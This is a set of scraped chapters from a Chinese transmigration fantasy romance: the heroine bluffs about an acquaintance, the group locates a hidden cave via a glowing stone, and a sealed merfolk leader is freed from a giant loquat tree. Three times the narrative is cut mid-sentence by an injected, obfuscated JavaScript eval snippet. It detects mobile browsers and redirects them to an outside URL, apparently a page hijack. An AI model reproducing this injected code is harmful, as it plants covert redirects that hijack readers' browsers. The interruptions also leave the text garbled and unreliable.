裴瑾脸上的愧疚更深了,他温言和周夏莲解释着什么。周春和没认真听,心里想的是刚刚谢斯年的那番话——很显然,谢斯年并没有像之前那样故意说出一些挑拨离间的话,虽然他的话也是在埋怨裴瑾,但话里的侧重点在于裴瑾不该为了别的女人忽视阿姐,而不是在拐弯抹角的和周夏莲说裴瑾的心思放在了别的女人身上,从而挑拨两人的关系。 换句话说,谢斯年现在似乎完全不在意周夏莲和裴瑾相爱这件事,他在意的,已经从占有周夏莲转移到了裴瑾是否能好好对待周夏莲这件事上了。他似乎已经开始认清自己对周夏莲究竟是爱情还是亲情了,这算不算是一个可喜可贺的长足进步? 不过谢斯年怎么忽然开始有了转变了?周春和略显诧异的看向谢斯年,可是谢斯年察觉到她的目光之后,只是似笑非笑的朝她歪了歪头,看起来倒真像是个心疼自己姐姐的天真少年,完全看不出书中对他的那种腹黑偏执描写。 周夏莲在裴瑾认真的解释之下脸色逐渐转好,周春和见状便顺势邀请大家一起坐下商议明日的事情。 裴瑾先问了一下周春和这几日去哪了,等周春和将白天和周夏莲解释的话又重新说了一遍之后,他才点点头:“阿莲应该和你说了吧,我们发现了一个密道,不过现在还不确定那条才是真正通往密道的路。” 周春和点点头:“既然如此,那我们该怎么找到那条生路呢?” 裴瑾沉吟道:“那晚我们怕耽搁太久引人起疑,还没仔细看便离开了。如今我们并没有太多线索,其实也推测不出什么……不如这样,我们再去一趟,既然有一条是活路,那一定会有线索。到时候咱们找找,看看能不能找到什么有用的东西。大家觉得呢?” 眼下也没有更好的办法,于是大家便都点头同意了。 周春和眼睛骨碌碌转了一圈,忽然笑眯眯的问裴瑾:“裴大哥,刚刚我们似乎听见你和陆姑娘说什么手链的事情,是什么手链啊,不知道方不方便给我看看?” 周夏莲脸上的神色顿时有些黯然,裴瑾则是诧异的笑道:“周小姐竟然知道陆姑娘?自那日猎妖之日之后你便被困在岛上,我还以为你没见过她呢,原来在此之前你和陆小姐便认识了么?” 周春和一听,脑子里顿时轰的一声,她心想,完蛋了,怎么忘记了现在按大家眼中正常的时间线来算她应该还不认识陆书雪啊! 毕竟她现实中只见陆书雪那一次,只这一次也不足以能一下子就听出陆书雪的声音,而且那天陆书雪甚至好像都没有开口说话……她对陆书雪的全部了解都出自于小说,她之所以能特别了解陆书雪这个人,也是因为她看过小说而已。可是在这个书中世界的时间线里,她和陆书雪仅仅只有过一面之缘,根本没有任何交集。 大意了啊大意了,周春和后背出了一身热汗,一边在心里唾弃自己真是太傻了,怎么一时得意忘形结果把这个给忘了。一边忍不住怒骂裴瑾——X的,处理感情的时候一团乱麻,怎么对于这样的事情却是这么的敏感? 裴瑾啊裴瑾,但凡你对待感情有对待这些事情的十分之一,你的爱情之路也不至于如此坎坷啊! 别人已经三年抱俩了,你还在这里问我是什么时候认识的陆书雪。孺子不可教啊! 69. 枇杷府 眼见裴瑾这个大直男丝毫没察觉周春和有些不自在,还非常执着的一直盯着她看,仿佛不从周春和听到一个答案就决不罢休,周春和一时间也是真没招了。 周春和硬着头皮支支吾吾的解释:“就是……嗯,之前我和傅怀玉一起去林子里的那次……我和她有过一面之缘,我听过她和别人说了几句话,所以有点印象……刚刚我听着声音像,而且这次来的猎妖人似乎除了她之外便没有其他女孩子了,于是便觉得是她,然后便擅自猜了猜,没想到还真的猜对了……” 周春和一开始还有点心虚,结果越说越理直气壮——她忽然意识到她确实和陆书雪打过照面,虽然真的就只是照面而已,但她确确实实是见过陆书雪,这个她不算骗人。而且那天只有她和傅怀玉两个人,只要傅怀玉不拆穿,谁知道她究竟有没有和陆书雪说话,又和陆书雪熟到了哪一步?那天发生了什么,不全凭她一张嘴吗?就算是周春和说自己已经和陆书雪把酒言欢结拜成了异姓兄弟,在场的又有谁能反驳? 不过她当然也不会这么说的,毕竟傅怀玉会帮着她骗人,可到时候陆书雪肯定不会帮她圆谎。若是哪天对上了,那大家岂不是一下子就知道周春和在撒谎了?所以周春和只敢骗裴瑾说自己听过陆书雪说话、和她打过照面。这样以后说起来,周春和就说她看到了陆书雪但陆书雪没有看到她就是了,反正陆书雪也确实没有看见过她,这也不算是在骗人。 裴瑾恍然大悟的“哦”了一声,显然对周春和的话深信不疑,他笑道:“原来是这样。” 周春和松了口气——这个时候她还是比较喜欢裴瑾的“榆木脑袋”的,起码裴瑾不会像谢斯年一样刨根问底,而且也不如谢斯年这么敏感,如果现在问她话的人换成谢斯年,估计这一页就没那么容易被轻轻揭过了。不过说到谢斯年……谢斯年这时候竟然一句话也没说么?周春和后知后觉的有些奇怪,于是扭头看向谢斯年,却见谢斯年竟然有点心不在焉的模样。 他的视线没什么痕迹的在傅怀玉脸上频频停留,周春和知道他听进了自己刚刚的话,但这些话却没有进到谢斯年心里。在这个时候,谢斯年不知为何有些不在状态。 大家没有继续这个话题,显然这一关让周春和侥幸逃脱了。周春和不禁舒了口气,但她又想到了什么,后知后觉有些心虚的看向傅怀玉,毕竟傅怀玉是在场唯一一个真正在现场见过实情的人,他肯定知道周春和是在扯谎。虽然周春和知道他肯定不会拆穿,但她还是会有点忧虑。 而且周春和还有点担心的是,她不知道傅怀玉会不会因为她的话对她起疑,毕竟她几乎一直和傅怀玉在一起,从那次见过陆书雪以后,他们两人就再也没有见过她。所以傅怀玉一定知道周春和现在是在骗人。 周春和担心傅怀玉会多想,会奇怪她明明没见过陆书雪,为什么却表现出一种很了解陆书雪的模样。可是傅怀玉察觉到她的目光,只是朝她微微一笑,似乎并没有将这个小插曲放在心上。 周春和见状这才松了口气。 裴瑾从衣袖里拿出陆书雪给他的手链,毫不在意地随手递给了周春和,笑道:“去看郎中是我给的钱,陆姑娘比较……拮据,她说身上没什么值钱的可以还给我,就把这个给我了。我怕不收她会觉得我瞧不起她,就收了。” 周春和面上赞同,心里却暗戳戳的想,原来是因为这样啊。刚刚听陆书雪的话,还以为两人这短短的一天就经历了什么相亲相爱爱而不得恨海情天的悲壮故事呢,最后故事结尾,等不得不分别的时候她就把什么定情信物给裴瑾,而裴瑾还收下了。幸好多问了一嘴,知道真相是这样,要不然别说周夏莲会多想,就连她也不得不留个心眼了,毕竟陆书雪当时可是故意着重强调了“亲手做的”四个字,好像不论什么东西只要沾上这四个字,就会显出一种不同寻常的偏爱和情愫来。 周春和看向周夏莲,果不其然,周夏莲脸上最后一点阴云也烟消云散了。 周春和松了口气,好嘛,男女主之间第一个小关卡算是迈过去了。 她不仅喜滋滋的在心里自夸,要不是她从中搅和,裴瑾和周夏莲这两日免不了会觉得不自在——周夏莲肯定会有疑心,但这种事情,她肯定又不好意思亲口问出来。裴瑾呢,又是个大直男,对别人的情绪变化不是很敏感,尤其是周夏莲这种有什么话都喜欢憋在心里的人。 两个人一个不问一个不知情,长此以往绝对会变成一个疙瘩存在心里,这样的疙瘩积累的多了,再深的感情、再多的信任也都被糟蹋了。 周春和边得意洋洋的在心里自夸边无意识的捻着那个手链,裴瑾不知道她心里在想什么,见周春和一直在摸那个手链,还以为她喜欢,于是自认为很善解人意的笑道:“周姑娘很喜欢这条手链吗?既然你喜欢,那就给你吧。” 周春和还在发呆中:“……哦。” 周春和反应过来了:“……啊?” 周夏莲听了裴瑾这一席话,再看看周春和呆滞的表情,忍不住扑哧一笑。 她这一笑无比释然,她笑周春和的表情,更笑原来果然是自己多心了,裴瑾还是那个她熟知的裴瑾,她不该不信他。周夏莲心里感觉到了一阵没来由的轻松,同时她在心里告诫自己,以后一定不要再像今天这样胡思乱想了。 另一边的周春和则是明显的愣住了,她呆呆地看着自己手里的手链,心说好嘛,裴瑾果然除了在面对周夏莲的时候是男主,在面对其他人的时候都是木头。陆书雪这意思都这么明显了,敢情他还是没看出来,还真以为陆书雪给他手链存粹是为了感谢,而不是为了别的什么。 在裴瑾看来,既然陆书雪把手链给他了,那么他就有处置权,而他本人其实并不喜欢这些——除了周夏莲给他的,这是显而易见的。但他考虑到除了这些陆书雪也拿不出别的什么了,再问陆书雪要别的也不太合适,于是也就只得收下,而现在既然周夏莲的妹妹周春和喜欢,那么干脆直接给周春和,也省得浪费了——以上就是木头人裴瑾的全部心理路程。 他甚至在开口的一瞬间还有些得意,因为他觉得自己做了一件一箭双雕的事情,既照顾了陆书雪的面子保护了她的自尊心,还让周春和得到了喜欢的东西。哦不,是一石三鸟——他自己也不用再保存这些没用的东西了。 周春和简直望“瑾”兴叹——这也太直男了,难道裴瑾的暖男特质只有在面对周夏莲的时候才会被触发吗?虽然有时候裴瑾面对周夏莲的时候也比较直,比方说他常常看不出来周夏莲心里的所思所想,偶尔周夏莲生气了他还像是个榆木脑袋似的感觉不到。不过如果给他一个参考对象,比方说再来一个女配——像周春和、陆书雪这样的作为对比,那么一下子就能感觉到裴瑾对待周夏莲已经是独一无二、无敌偏爱的了。 周春和心里舒畅了,她就喜欢这种男主角对女主角独一份的偏爱,这样起码才是能证明男主喜欢女主的最基本的条件嘛。 她小心翼翼地观察了一下周夏莲的表情,果然看见周夏莲的表情舒缓,显然周夏莲心里也对裴瑾的直男程度认知更上一层楼,并且对裴瑾今天一系列的表现彻底的释怀了。于是周春和也跟着一起爽了——妈耶,真是有她出马,一个顶俩啊! 这段感情里,她付出的并不比男女主少。 误会解开了,明日要做的事情也确定了下来,几个人便准备告辞离开,不再打扰周春和休息。 裴瑾和周夏莲和往常一样亲昵的靠在一起离开了,谢斯年走之前看了一眼周春和,似乎在原地停了片刻,但很快也转身离开了。 屋内就只剩下傅怀玉和周春和,在离开之前,傅怀玉朝周春和笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅怀玉闲步走到庭前,远处枇杷林影影绰绰,月光洒下了满地的皎洁。他站在如粼粼波光般的地面,回首看着周春和的房间。 周春和的身影映在窗户上,能清楚的看见她的动作。傅怀玉往外踱步,一回头,通过窗子上的影子看见周春和在脱外衣,然后她又伸了个懒腰,似乎准备睡了。过了一会儿,傅怀玉便看见周春和坐在了镜子前开始卸掉自己钗环。他安静的站在一旁看着周春和的影子,片刻后,周春和站了起来,靠近窗户。 下一秒,灯灭了。 屋内的景象便没有办法再看见,傅怀玉又在原地站了片刻,一双温柔的眼睛明明是带着笑意的,可是眼底深处却似乎又隐隐浮现出一点哀伤。他孤单的站在院子里,皎洁的月光落在他的身上,让他显得无比寂寥和落寞。傅怀玉站了好一会儿,然后才挪动一下,他垂下眼睫,慢慢转身离开了。 屋内的周春和不知道傅怀玉还在外面站了一会儿,她心满意足的感受着床铺的温暖舒适,同时在临睡觉之前还不忘查看了一下傅怀玉此刻的好感度——和她设想的差不多,傅怀玉的好感度又增加了,但增加的数值却还是让周春和惊到了——这次直接到达了周春和想都不敢想的百分之九十九。 似乎不论什么时候,只要看见傅怀玉的好感度都会让周春和觉得大吃一惊。但不知道是不是已经因为这件事开心过太多次,这次明明就差一点就要成功了,周春和却觉得反而不如一开始那么快乐,甚至连笑一笑都有些勉强。 她扭头透过窗格看着洒进来的月光,不知道为什么一点睡意也没有,有的只是满心怅然。 小岛上的事仿佛已经被两人遗忘了,除了刚开始和周夏莲解释之外,周春和和傅怀玉不约而同地都没有再提起过,只是傅怀玉对待周春和更加温柔,而且更能直白的表达自己的心意。 70. 枇杷府 第二日一早,大家吃过饭之后便准备去那密室探探情况。 为了不引人起疑,周夏莲故意和王宽冬说他们要出去买点东西,晌午不回来吃饭了。 王宽冬自然是连连答应,客套的关心完周春和之后,还一味的劝他们再留过下个月,等下个月十五日过了再走。 密室的时候还没解决,几个人也不愿就此离去,于是互相对视一眼,便顺势答应下来。 他们当着门子的面出了门,拐了弯走到一个没人的废弃巷子里,确定没人看见之后,又折身返回了枇杷府后院,然后趁人不备翻墙跃了过去。 墙后就是一大片密林,这是最早种枇杷树的地方,林子一望无际,而且也没什么房间,平常根本不会有人过来。几个人之所以打算从这里翻进来,一是因为这里平常没什么人,不用担心会被发现。二是因为这里离那个假山很近,从这里进来不必再绕远路了。 几个人落地之后,先谨慎的观察了一下周围的情况,确定四下无人,这才放轻脚步声朝假山走去。 那个假山在枇杷林深处,几乎与林子融为一体。裴瑾轻车熟路的带着其他人来到以假山做伪装的密室门前,那个门细心的和假山刷了同一种颜色,甚至门的边缘模仿石壁上的裂纹做成了不规则的形状,简直完全可以做到以假乱真的地步。 若不是石壁下方因为久经风吹雨打而稍稍掉了颜色,估计就连细心如谢斯年估计也很难能发现。 裴瑾沿着门缝摸了摸,摸到机关然后轻轻一按,小门便缓缓打开了。 裴瑾细心的招呼众人道:“里面有些昏暗,大家跟紧一些,不要掉队了。” 说完便一马当先走了进去,待几个人全部进去之后,大门便缓缓关上了,没有了外面的光线透进来,假山内顿时一片漆黑。 假山内各处有蜡烛,裴瑾燃了一张符咒,将各处的蜡烛点亮了,大家这时才能看清山内的情况。 假山内部很宽阔,而且越走地势越底,显然是顺着假山往地底下挖出来的。 几个人稍稍往里走了一会儿,便能感觉到已经完全进入了地下,同时前方的道路也变得平坦起来。 洞内挖的比较粗糙,只用了一些坚硬的木桩做支撑,手摸上去,还能感觉到洞壁粗糙的沙砾和粗大土粒。 走了大概一盏茶的工夫,他们面前变得开阔起来,同时,三个看起来几乎没有差别的洞口出现在他们前面。 这就是之前周夏莲和周春和说过的要做选择的三个密道了。 裴瑾点燃洞内的蜡烛,大家靠近第一个洞口,仔细观察了一下。 这洞看起来平平无奇,只是表面比刚刚的甬道稍微平滑了一些,大家研究了一会儿,七嘴八舌讨论怎么辨别。 周春和电视剧看多了,脑子里有很多类似的片段,于是踊跃发言:“咱们把蜡烛放在每个洞前,然后看看在哪个洞前火苗会飘动,火苗飘忽不定就证明这条道有风,是活口,应该就是正确的那条路!” 大家一听似乎也有些道理,于是裴瑾走到角落随手端起一个烛台拿到第一个洞前,大家屏息凝视,紧张的盯着那簇不太稳定的火苗,没一会儿,那火苗就从一开始的四处跳动改成了只向一个方向抖动了,那就是背对着洞口的方向,大家顿时有些兴奋——这不就说明这条洞内有风吹来,是条活路吗? 但是傅怀玉和谢斯年并没有喜形于色,两个人都还是很冷静的模样,见周春和兴奋的马上就要进去,傅怀玉不动声色的拉了一下周春和的衣袖,笑道:“为了稳妥起见,还是将每个洞口都验证一番吧。” 大家都点点头,于是裴瑾又端着烛台一个个试过去,结果却让周春和大失所望——原来不仅第一个洞口有风,剩下的两个也都有风,而且风向都是一模一样的,所以他们根本没办法通过这个方法辨别出真正的洞口是哪个。 可恶啊。周春和气的一口银牙险些咬碎,这个死幕后主使,竟然考虑的这么周到,连风向都考虑到了,让他们根本没有任何下手的机会。 眼见这个方法行不通,大家便开始聚在一起头脑风暴,准备另寻出路。 在pass掉用符、拿小老鼠之类的活物探路、直接抓住王宽冬逼问等等一些办法之后,周春和愁眉苦脸的想了半天,实在是不知道还能有什么办法。 就在这时候,周春和隐约感觉到自己胸口似乎有什么东西在隐隐发热,她漫不经心的拿出来一看,却发现发热的原来是昨天她来之前鲛人给她的那个像是勺子似的东西。 不知道为什么这东西忽然开始发光发热,这可是之前从来没有出现过的事情,周春和不解的拿在手里看了一会儿,又下意识抬头看向面前那黑漆漆的洞口,愣了两秒,忽然福至心灵——等等,这个石头和这个洞…… 她似乎有些不敢相信自己的想法,试探着站起来举着这块石头一个个走过那三个洞口,结果却让她吃了一惊——当她走到第三个洞口前面时,这个石头就变得特别亮,而随着她越走越远,石头也会越来越暗。 这是在提示她什么吗?因为刚刚她坐的地方离第三个洞口比较近,所以石头才会发出微弱的光,现在随着她靠近洞口,石头的反应也越来越强烈。周春和不信邪的又试了一遍,可不管试几遍都是这样的结果。 周春和醍醐灌顶,仿佛一瞬间明白了什么,她激动的转过头,脸庞因为激动而显得微微发红。 除了傅怀玉之外,其他人都不知道周春和在干什么。因为周春和并没有把这个石头当成重要的东西,因此讲给周夏莲他们听的时候也就无意识的漏过了这一茬。 也因此大家不知道这个石头是哪来的,更不知道是干什么用的。 周春和看着大家诧异的目光,一时间根本顾不上别的,激动的说:“我找到正确的密道了,就是它——”周春和指向最后一个石洞,坚定的说,“绝对不会错,就是这一条路。” 周夏莲看着那个石洞,忍不住皱了皱眉,又一脸凝重的转向周春和:“……春和,你是怎么确定的?” 周春和笑眯眯的指着自己手中的那个发光石头,语气肯定的说:“因为这个。” 紧接着,周春和便三言两语给大家简单说了说这枚石头的来源。 大家听后,忍不住面面相觑,最后周夏莲迟疑的问:“春和,这会不会太冒险了,万一鲛人不可信呢?我们真的能信它们吗?” 周春和和大家简略的说了说之前被她省略掉的事情,说了一下那些鲛人是怎么用自己的力量送她回来的,还说了在她走投无路的时候鲛人放在贝壳里的那条被处理好的鱼……最后周春和坚定的说:“阿姐,我知道你的顾虑,但我相信它们。它当时和我说拿着这个就可以弄清楚我好奇的一切,当时我还不明白,现在我好像有点懂了。若是它们心怀不轨,当时就可以趁我们最脆弱的时候把我们杀了,但它们什么也没做,还帮我们度过难关……阿姐,一个人、咳,一条鱼的眼睛是不会骗人的,虽然它们不会说话,但我能从它们的眼睛看出来它们绝无恶意。” 听到周春和这么说,大家一时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646389|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都沉默下来。最后周夏莲和其他人对视一眼,长舒一口气,仿佛下了某种决心,坚定又温柔的看着周春和说:“既然如此,那么就走这条路吧。虽然阿姐没有和那个鲛人相处过,此刻不能确定它们到底是不是善意的,但阿姐相信你,所以阿姐愿意和你一起走这条路。” 周夏莲说完,便站在了周春和身后。 一侧的傅怀玉也温柔的看着周春和,他的眼睛里带着一点笑意,紧随其后笑道:“你知道的,春和,不管什么情况下,我永远都会站在你这边。” 周春和便殷切的看向谢斯年。谢斯年微微别开了脸,不和周春和对上视线。他抱着臂,懒洋洋的说:“随便,反正走哪条都一样。” 裴瑾便笑了:“既然大家都没有什么异议,那咱们就出发吧。” 周春和正经了没两秒便又显出原形,她握着拳开心的高呼一声:“好耶!那我们赶紧走吧!” 几个人整装待发,很快鱼贯而入,小心翼翼地顺着石洞往里走。 走了大概三十米左右,前面豁然开朗,变成了一个开阔的巨大溶洞。溶洞是天然形成的,里面矗立着几根钟乳石和石笋,看起来无比壮丽,若不是在这种情况下来到这里,周春和都以为自己是来观光旅游的了。 地面上偶尔会看见聚成一小片的海水,周春和好奇的四处观望着,显然无比新奇。 大家顺着干燥的地面往里走,一时不知道这是什么地方。 原本他们以为道路的尽头是藏着王宽冬秘密的密室,谁都没想到会是这样一个地方。 不过这个溶洞有什么值得新奇的吗?为什么要设计这么多机关来保护这么一个看起来平平无奇的溶洞? 不止周春和觉得奇怪,大家也都有类似的想法。 等再稍稍往里走两步,一个参天大树赫然出现在了大家面前。 这是株枇杷树,不过又似乎不是普通的枇杷树——它实在是太大了,在这样的环境里,简直像是巨人一般的存在。这一株枇杷树便能组成一片树林,树干粗到得好几人合抱,树木枝繁叶茂。浓密的枝叶里面偶尔点缀着几个金灿灿的枇杷,看着一眼望不到边。 周春和觉得很奇怪——先不说究竟是什么品种的枇杷树能长到这么匪夷所思的地步,就说在地下这样无光无养分的溶洞之中,这棵枇杷树是被谁种下、又是怎么长到这么大的,周春和都觉得能列入书中世界未解之谜中。 树后面便是死路了,显然溶洞内这唯一一个不对劲的枇杷树就是这背后修建这些密道之人想要保护的东西。 只是这枇杷树究竟有什么值得如此大费周章的被保护起来的? 周春和怀着疑惑来到树前方,想要仔细观察一下这颗枇杷树除了过于巨大之外是否还有其他特别的点。就在这时候,她眼尖的看到了一个猩红的东西挂在枝繁叶茂的枇杷中央,在一片绿与黄之中显得无比扎眼。 这个东西还在有规律的搏动,周春和吃了一惊,就见那颗心脏缓缓睁开一条像是眼睛的细缝。 周春和觉得那心脏上似乎有什么东西在吸引着她过去一探究竟,她直勾勾的盯着那个东西,不受控制的往前走,走近了才更加清楚的看见那颗还在跳动的硕大的心脏。 她感觉自己似乎被什么蛊惑了,眼睛里面只有那颗蓬勃跳动着的心脏。她感觉到周围有人在呼唤她,还有人过来拉住了她,但周春和什么都顾不上了。 她直勾勾的盯着那颗心脏,就在这时候,那颗心脏缓缓地朝她睁开了那双平静如古潭般的眼睛。 71. 枇杷府 周春和痴痴的看着那双眼睛,还在不受控制的往前走,就在她即将伸手碰到那株枇杷树时,她感觉到自己的手臂一痛,紧接着眼前一闪,意识便逐渐清明起来。 周春和茫然的四处看了看,发现自己竟然不知道什么时候来到了溶洞的最深处,而她的胳膊还被人一左一右的牢牢抓住了。 她回头一看,谢斯年和傅怀玉这两人正一脸凝重的站在她的身后拉着她的手腕,止住了她更进一步的动作。而在两人身后,则是周夏莲和裴瑾担忧的脸庞。 见周春和恢复正常,两人才放开了她的手。周春和甩了甩脑袋,一时间有些茫然:“我刚刚怎么了?” 傅怀玉带着笑容的表情之下带着少见的凝重:“你刚刚似乎是被这个东西蛊惑了,我们喊了你好几声你都没有反应,情急之下只好拉住了你,不让你更进一步。” 周春和点了点头,有些惊魂未定:“刚刚不知道怎么了,感觉那颗心脏像是一直再催着我过去,就好像……就好像被什么东西吸引了……” 周春和话音刚落,谢斯年已经皱起眉头,语气褪去了平时那中吊儿郎当,显得如临大敌:“不对……这里有妖气!” 谢斯年的话让大家下意识的立刻绷紧了身体,周夏莲迅速环顾四周,虽然并没有看见什么妖异之兆,但她还是已经戒备起来了。 其他人或许不知道,但周春和却心知肚明,因为谢斯年从小便被大量灌注妖力,是以对妖气有着远高于普通人的敏感,既然他说有妖气,那么这件事几乎就是板上钉钉的。 裴瑾点燃符纸,在洞内四个方位转了转,符纸在朝向那颗枇杷树时,倏地熄灭了。 大家立刻齐刷刷的转向那颗硕大无比的枇杷树,一时间静默无比,各怀心事。 为首的裴瑾和周夏莲对视一眼,双双抽出长剑慢慢逼近枇杷树。 枇杷树看起来并无异样,只有那颗蓬勃跳动着的心脏,以一种居高临下的姿态俯视着所有人。 周春和的神经处在高度紧张之中,一点细微的动静都能被她注意到。就在这时候,她胸前那块石头又不合时宜的抖动起来,并且这次比刚刚更加剧烈、更加兴奋。周春和心知有异,正要抽空将这个石头拿出来一探究竟,谁知这石头颤抖了一会儿之后,仿佛受到了召唤似的忽然从周春和怀中飞了出去。 原本周春和就放的不太严实,那石头没什么阻力,很快像是被另一半吸过去的吸铁石一样精准的飞入那颗心脏下方,在所有人都没反应过来之际,那颗石头发出一阵炫目的光彩,晃得大家都睁不开眼睛,紧接着石头便与心脏融为一体。 大家纷纷回身用胳膊挡住了刺目的光线,好一会儿才又能转身看这一切究竟是怎么回事。虽然他们都不知道发生了什么,但已经隐约感觉到会有什么大事即将出现。 那颗心脏在和石头融为一体之后,跳动的更加有力,并且频率越来越快,最好连带着整个枇杷树都簌簌抖动起来,树上的枇杷果一个接一个的全掉在了地上,枇杷树的枝叶也迅速枯败下去,像是在一瞬间被那颗心脏吸食了所有养分。 但这还没有结束,枇杷树已经完全枯萎干掉的树干逐渐出现了一条条裂痕,裂痕越来越大,很快整个树干便四分五裂。与此同时,整个溶洞也开始有些细微的摇晃和震动,周春和的头顶簌簌往下滴水珠,周春和顾不得抹去脸上的水,惊恐的看向枇杷树的方向。 树干化为碎屑纷纷扬扬的落下之后,一个高大的身影在尘埃中显现出来。 周春和咽了口唾沫,眼睛一眨不眨的等着碎屑落下,那个轮廓逐渐清晰。 她惊讶的发现站在枇杷树尸体处的,竟然是一个鲛人。 不,这鲛人和她之前在小岛上见过的鲛人又不同,这个鲛人长得极其妖冶,明明是个男人,那张脸却可以用漂亮和魅惑来形容。鲛人的胳膊上有一条长长的伤疤,一直延申到耳后,而他一个耳朵并不是寻常鲛人那种白骨质地的耳朵,而是透明如玻璃,但里面的血管和软骨清晰可见。他那淡蓝色尾翼也比寻常鲛人的更大、更漂亮,鱼尾上的每个鳞片都如同蓝宝石般熠熠生辉,在不同的角度之下变幻出不同的色彩。这个鲛人身上几乎看不出还有猫妖的血统,似乎就是存粹的属于鲛人一族。 鲛人闭着眼睛,一头浅蓝色的披肩长发微微卷曲,那张堪称奇迹的脸庞无比生动。 周春和向来对长得好看的生物没有任何抵抗力,看着看着眼神就直了,不知道什么时候因为害怕而抓着谢斯年的腰带和傅怀玉的衣袖的手也松开了。她直愣愣的看着那个鲛人,感觉心口热热的。 察觉到周春和的痴迷,谢斯年皱了皱眉,表情有些不悦。 傅怀玉脸上依然带着笑,却不动声色的往前迈了一步,微微侧身挡在了周春和面前。 那鲛人的睫毛颤了颤,下一秒,他缓缓睁开了眼睛,与此同时,鱼尾也幻化成了双腿,鱼鳞变成浅蓝色衣服包裹住了鲛人全身。有了双腿之后,他看起来倒是和常人无异了。 周春和感觉自己心都快提到了嗓子眼——一部分是被那个鲛人的容颜所震惊的,另一部分是拿不准这个鲛人是敌是友,所以下意识有些戒备。 不止周春和有所防备之心,其他人也纷纷下意识握紧了自己手里的剑,目光直勾勾的盯着那个鲛人的动作。 可谁知鲛人的视线只是略显茫然的扫过众人,然后开口说了第一句话:“这是哪里?” 大家都愣了愣,却不是愣鲛人的问题有些突兀,而是愣这鲛人竟然会说话。 周春和色壮怂人胆,鼓足勇气躲在傅怀玉和谢斯年身后回答他:“……咳咳,这里是阴花渡,你是谁啊?” 那个鲛人沉默两秒,似乎在回忆,片刻后才说:“我叫齐见山,是鲛人一族的首领。” 周春和一愣,下意识就握紧了手里的符纸。 在她看来,这个名叫齐见山的既然是鲛人族的首领,那就说明他是妖王,妖王就是比普通妖怪更可怕的存在,说不定动动手指就能把他们捏碎。周春和第一次见到妖族的首领,对他知之甚少,还只停留在电视剧中那些妖怪凶神恶煞的面孔的阶段,所以理所当然的就把面前这个长相十分对她胃口的人当成了自己的敌人。 可谁知与周春和的反应相反,大家在知道了这个鲛人的名字和身份之后,反而都放松下来,而且裴瑾和周夏莲眼中甚至还隐隐露出惊喜的模样。 周夏莲连刀剑都收了起来,朝齐见山露出一个善意的笑:“原来你就是那个传说中的齐见山么?我很小的时候便听说过你的名字,我母亲说你是妖中第一个曾经在人类有难时出手相帮的人。十几年前那场海啸,原本被无辜累及的百姓数以万计,可幸好你们及时出手相助,这才免去了一场祸事,也挽救了无数的家庭……我久仰你的大名,一直想着能不能有缘得以一见,没想到今日却如此巧的真见到了……” 齐见山十分守礼的客气一笑:“姑娘言重了,不过是恰好遇见了而已,或许是老天都不想让那么多无辜之人赴死,这才叫我结了这个善缘。” 话虽是这么说,但周夏莲眼中的亮光依然没有褪去。她又想到了什么,表情这才变得认真起来,又问道:“只是鲛人一族一直生活在海底,等闲时很少来到陆地上,不止齐公子是如何来到的这里,又为什么呆在……这种地方?” 齐见山如同被冰封住的生灵,虽然随着时间的推移慢慢解冻了,但活动起来依然不太灵便,他移动了一下自己的关节,只听见一阵骨头摩擦发出的“嘎吱嘎吱”的响声,不过他的动作倒是越来越流畅,像是逐渐适应了现在的状态。 他说:“这件事说来话长。” 原来齐见山并不是自己主动来的,而是在几年前被人掳到这里来,然后封印在此处的。 周春和他们刚刚看见的那枚心脏就是封印住齐见山的东西,而这棵树也是阵眼之一。 这棵枇杷树并不是寻常枇杷树,而是吸收了大量妖力的“生命之树”,生命之树依靠吸食妖力为生,只要有源源不断的妖力供给,那么它便会越来越大、越来越繁荣,哪怕没有水源和土壤,它也可以生存。 而生命之树的大小也跟它吸收的妖力有关,看这棵树的大小,估计这些年已经吸收了大量的妖力。 这十几年里,齐见山的妖力一直被这棵生命之树吸食,所以他刚被救出来时,才会显得那么虚弱。 齐见山的这番话果然让大家又陷入了沉思之中,周夏莲问:“那你可还记得是谁将你带到这里来的?” 因为妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648923|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力的大量外泄,导致齐见山的记忆力也有些受损。他思索了一会儿,终于想起来了之前的事情:“那时我还带着族人在南山之海生活,原本南山之海一直风平浪静,但是有一日忽然被人从外面搅动海底,我的族人苦不堪言,于是我便出海看看究竟是怎么回事。谁知道刚出来便掉进了一个带着面具之人的陷阱之中。诸位可听说过银环山这个门派?当日除了面具人之外,其余的便是银环山门派的人。那时我虽拼尽全力挣脱,可那面具人的实力实在是过于强悍,几乎是人类根本不可能拥有的力量,甚至就连我也无法与之抗衡。于是最后我便被面具人困在此处,期间我没有记忆,也感觉不到周围发生了什么,只能感觉到自己身体里妖力的流逝,任斗转星移,不过是浑噩度日,直到今日遇见了你们,这才又重见天日。说起来,我还要感谢你们才是。” 